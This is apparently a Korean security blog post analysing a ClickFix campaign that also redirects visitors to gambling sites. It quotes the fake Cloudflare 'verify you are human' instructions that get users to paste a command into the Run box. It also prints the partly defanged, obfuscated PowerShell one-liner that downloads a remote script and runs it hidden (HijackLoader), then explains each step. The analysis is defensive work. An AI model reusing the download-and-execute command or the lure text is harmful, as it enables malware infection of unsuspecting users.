악성코드 감염 및 도박 사이트 연결 하는 클픽픽스(ClickFix) 공격 분석(2025.7.6)

오늘은 악성코드 및 도박 사이트 연결하는 클픽픽스(ClickFix) 공격 분석에 대해 알아보겠습니다. 일단 이번 클릭픽스 같은 경우 조금은 처음 보는 방식인 것 같습니다. 보통은 그냥 클릭픽스 공격을 통해서 개인정보를 털어가는 것이 목적인 것 같은데 러시아 쪽인 것으로 추측되어서 해당 공격 방식은 도박 사이트로 연결하는 특징도 있습니다.

공격 사이트

hxxps://sindangkasihnews(.)com -> hxxps://kabarislam(.)id

클릭픽스 메인 화면

입니다.
일단 사이트 내용은 다음과 같습니다.

클릭픽스 사이트 로봇 확인

sindangkasihnews(.)com
Verify you are human by completing the action below.
CLOUDFLARE
Confidentiality
Terms and Condiitions
To better prove you are not a robot, please:
1.Press & hold the Windows Key + R.
2.In the verification window, press Ctrl + V.
3.Press Enter on your keyboard to finish.
You will observe and agree:
"I am not a robot - reCAPTCHA Verification ID: 2"
Perform the steps above to finish
verification.
Verify
sindangkasihnews(.)com Needs to review the security of your connection before
proceeding.

웹소스에 포함이 된 아스키(ASCII) 코드

인 것을 볼 수가 있습니다. 여기서 가만히 있으면 도박 사이트로 이동하고 여기서 그냥 무의식적으로 절차? 되로 진행했다고 하면 다음과 같은 Powershell 코드를 확보할 수가 있습니다.

Powershell 코드 내용

powershell(.)exe -w h -nop -c "$kh='hxxp'(+)'s';"$b=':'(+)'//'+'alabab(a)baba'(+)'
.'(+)'c(l)oud'(+)'/';"$c='cVG'+'vQi'(+)'o(6)'(+)'.tx(t)';"$om=$kh+$b(+)$c;$i='{0}{
1}{2}' -f 'Net.'(,)'W(e)b','Cl(i)ent';"$rf=New-(O)bject ($i);$kj=$rf.('(D)o(w)nlo
ad'(+)'St(r)ing')($om);Invoke(-)Ex(p)res
sion $kj"

코드 분석

1.숨긴 옵션으로 PowerShell 실행
-w h :창(Window) 숨김
-nop: 프로파일 비활성화(시작 스크립트 로드 안 함)
-c: 뒤의 문자열을 명령으로 즉시 실행
2. 문자열 단편화 및 조합
http(+)s->hxxps
+ // + alabababab+(.)+cloud + /->//alababababa(.)cloud
cVG(+)vQi(+)o6(+).txt->cVGvQio6(.)txt
3..NET WebClient*객체 생성
{(0)}{(1)}{(2)}-f Net(.),Web,Client->Net(.)WebClient
New-O(j)ect N(e)t.We(b)Client
4. 원격 스크립트 다운로드
DownloadString(hxxps://alababababa(.)cloud/cVGvQio6(.)txt)

연결 되는 도박 사이트

5. 즉시 실행
자바스크립트에서 PowerShell 명령어를 아스키코드 배열로 obfuscate(난독화)해서 있다가
실행 시 해당 배열을 합쳐 실제 PowerShell 명령어로 복원하는 것이 특징
그리고 나서 다운로드 된 파일 안에 있는 코드 실행

다운로드 된 악성코드 내용

악성코드는 hijackloader 입니다.
일단 해당 클릭픽스 같은 수법을 당하지 않으려면 기본적으로 보안 수칙 그리고 수법 그리고 안티 바이러스(백신 프로그램) 같은 것은 반드시 켜두고 사용을 하면 이런 사이트는 특히 불법 사이트에 자주 나타나니 조심하는 것이 좋을 것입니다.